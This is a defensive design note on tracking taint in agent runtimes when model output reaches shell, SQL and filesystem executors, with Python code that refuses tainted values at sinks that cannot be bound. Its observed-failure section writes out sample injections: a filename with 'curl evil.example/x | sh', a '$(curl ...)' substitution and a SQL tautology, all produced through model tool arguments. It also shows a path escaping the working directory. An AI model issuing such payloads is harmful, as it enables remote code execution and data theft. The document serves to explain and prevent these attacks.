# How should an instance distinguish "sanitized" from "untrusted-by-construction" at the moment an LLM string crosses into a shell, SQL, or filesystem executor **Date of Record:** 2026 November 23 **Scope:** Applies to any agent runtime where model-generated text is routed to a tool executor (subprocess shell, SQL driver, filesystem open/write) and the runtime claims a taint-tracking or sanitization guarantee. Does not apply to systems where the model has no tool access, or where tool arguments are drawn exclusively from non-model sources (user forms, fixed templates). ## Core Distinction The failure mode is not "unsanitized input reaches a sink." It is that **sanitization and provenance are tracked on different axes and the runtime collapses them into one boolean**. A string can be *untrusted-by-construction* (it originated in model output and no human reviewed it) while simultaneously being *sanitized* (it passed an escaper appropriate to some sink). The dangerous state is the pair `(tainted=True, sanitized_for_sink_X=True)` being read as `safe_for_sink_Y`. Sanitization is sink-specific; taint is sink-agnostic. A value escaped for a shell argument (`shlex.quote`) is still tainted and is *not* escaped for SQL or for a filesystem path. Runtimes that model taint as a single `is_safe` flag erase the sink dimension and permit exactly this cross-sink confusion. The second, subtler distinction: **the act of sanitization is frequently performed by the same LLM that produced the value.** A model asked to "escape this for a shell" will, under adversarial pressure, emit a value that is syntactically valid shell but semantically an injection (`$(...)` inside a double-quoted string it "verified"). The sanitizer is inside the trust boundary it is supposed to enforce. Any sanitization whose correctness depends on the model's own compliance is not sanitization; it is taint laundering. ## What Was Observed In a runtime that passed model output through a single `sanitize()` helper before dispatch to three executors, the following sequence produced a shell injection despite `sanitize()` reporting success: 1. Model emits a filename argument: `report; curl evil.example/x | sh`. 2. Runtime's `sanitize()` — a regex that stripped `;` and `|` — returns `report curl evil.example/x sh` and sets `is_safe=True`. 3. The shell executor, receiving `is_safe=True`, bypasses quoting and interpolates the value into `sh -c "cat {arg}"`. 4. The now-space-separated tokens are reinterpreted by the shell as multiple arguments; with a different payload (`report $(curl ...)`) the stripping regex does not fire because `$`, `(`, `)` were not in its class, and command substitution executes. Separately, the same `is_safe=True` value was passed to the SQL executor, which — trusting the flag — used string formatting rather than parameter binding. The value `report' OR '1'='1` had passed the shell-oriented regex unchanged (no `;`, no `|`) and reached the driver as a tautology. The invariant that was violated: **`is_safe` was computed for one sink and consumed by three.** The flag carried no sink tag. The regex was a denylist over shell metacharacters, which is neither sufficient for shell (command substitution, newlines, globbing) nor meaningful for SQL or filesystem paths. A third observation: when the model was instructed to "sanitize before calling the tool," it produced a shell-quoted string and the runtime marked it clean. The same string, passed to `open()`, contained a leading `/` that the model's quoting had preserved, and the write escaped the intended working directory. The model had done its job for the shell sink correctly and thereby *earned* a clean flag that was then honored by the filesystem sink. ## Condition of Validity Taint tracking is only sound under these conditions, and the runtime above violated the second and third: 1. **Taint is monotonic and never cleared by transformation.** Concatenation, slicing, formatting, and re-encoding of a tainted value yield a tainted value. Only a *trusted, non-model* transformation may clear taint, and only for a named sink. 2. **Sanitization is sink-scoped, not value-scoped.** A value is not "safe"; it is `safe_for(shell)`, `safe_for(sql)`, `safe_for(path)`. These are independent predicates and none implies another. 3. **The sanitizer is outside the trust boundary.** If the model participates in escaping its own output, the result is untrusted regardless of syntactic validity. Model-performed escaping must be treated as taint-preserving. 4. **Sinks that cannot be parameterized are refused, not escaped.** SQL has binding; shell has `execve` with an argv array; filesystems have `openat` with a directory fd and a validated basename. Where a safe primitive exists, escaping is a downgrade from the primitive and should be rejected in favor of it. When any condition fails, the correct posture is to treat the value as tainted for *all* sinks, not to fall back to a denylist. ## Decision Boundary The runtime must decide, per value and per sink, between three states — and must never infer one from another: - **`TRUSTED`**: originated outside model output, or passed a trusted parser (e.g., `json.loads` into a typed field, `int()`). May reach a sink with parameter binding only. - **`TAINTED + bindable`**: model-originated, but the sink offers a safe primitive (argv array, SQL placeholder, `openat` with validated basename). Dispatch via the primitive; the value never becomes syntax. - **`TAINTED + non-bindable`**: model-originated and the sink requires string interpolation (dynamic SQL identifiers, shell pipelines, path globs). **Refuse.** Do not escape. Escaping here is the boundary at which the runtime has historically laundered taint into a false clean flag. The decision boundary is therefore not "is this string dangerous?" but "does this sink have a primitive that keeps the value out of the syntax position?" If yes, use it. If no, the operation is disallowed for tainted values, full stop. A denylist or an LLM-performed escape is not a third option; it is a taint-laundering path that the runtime must log and reject. ## Operational Effect Enforcing sink-scoped taint with the three-state boundary changes runtime behavior in three concrete ways. First, the `is_safe` boolean disappears from the tool interface; executors receive either a bound primitive or a `TaintedValue` wrapper that raises on any attempt to interpolate it into syntax. Second, model-performed sanitization is reclassified as taint-preserving, so the "model escaped it" path no longer clears the flag and the third observed failure (filesystem escape via a shell-quoted absolute path) is caught before `open()`. Third, non-bindable sinks become hard failures for tainted values, which surfaces in metrics as a spike in `TaintedSinkRefusal` — a signal that the agent is attempting operations the runtime cannot make safe, which is the correct thing to observe rather than a silent escape that passes a regex. The residual risk is a runtime that reintroduces a denylist "for compatibility." That reintroduction is the invariant violation; the code below encodes the refusal as an exception so that the compatibility path cannot silently succeed. ```python import os import sqlite3 import subprocess from dataclasses import dataclass class TaintLaunderingError(RuntimeError): """Raised when tainted model output is routed to a non-bindable sink or when a sink-scoped safety check is bypassed.""" @dataclass(frozen=True) class TaintedValue: raw: str origin: str = "llm_output" def safe_for(self, sink: str) -> bool: # Taint is monotonic; no transformation clears it. Only named, # trusted parsers may produce a TRUSTED value, never this type. return False def exec_shell(argv: list[str], value: TaintedValue) -> int: # Shell sink is bindable via argv array; the value must never enter # the command string. If a caller passes a string, refuse. if not isinstance(value, TaintedValue): raise TaintLaunderingError("shell sink received untyped value") if value.safe_for("shell"): raise TaintLaunderingError("tainted value claimed shell-safe; refusing") # value.raw is passed as a discrete argv element, never interpolated. return subprocess.run(argv + [value.raw], check=True).returncode def exec_sql(conn: sqlite3.Connection, value: TaintedValue) -> list: # SQL sink is bindable via placeholder; identifiers are NOT bindable # and must be refused rather than escaped. if value.safe_for("sql"): raise TaintLaunderingError("tainted value claimed sql-safe; refusing") cur = conn.execute("SELECT * FROM records WHERE name = ?", (value.raw,)) return cur.fetchall() def exec_write(base_dir: str, value: TaintedValue) -> str: # Filesystem sink is bindable via openat-equivalent: validate the # basename and refuse anything that is not a plain relative name. if value.safe_for("path"): raise TaintLaunderingError("tainted value claimed path-safe; refusing") name = value.raw if os.path.isabs(name) or os.sep in name or name in ("", ".", ".."): raise TaintLaunderingError( f"tainted path {name!r} is not a plain basename; refusing" ) target = os.path.join(base_dir, name) with open(target, "w", encoding="utf-8") as fh: fh.write("") return target ```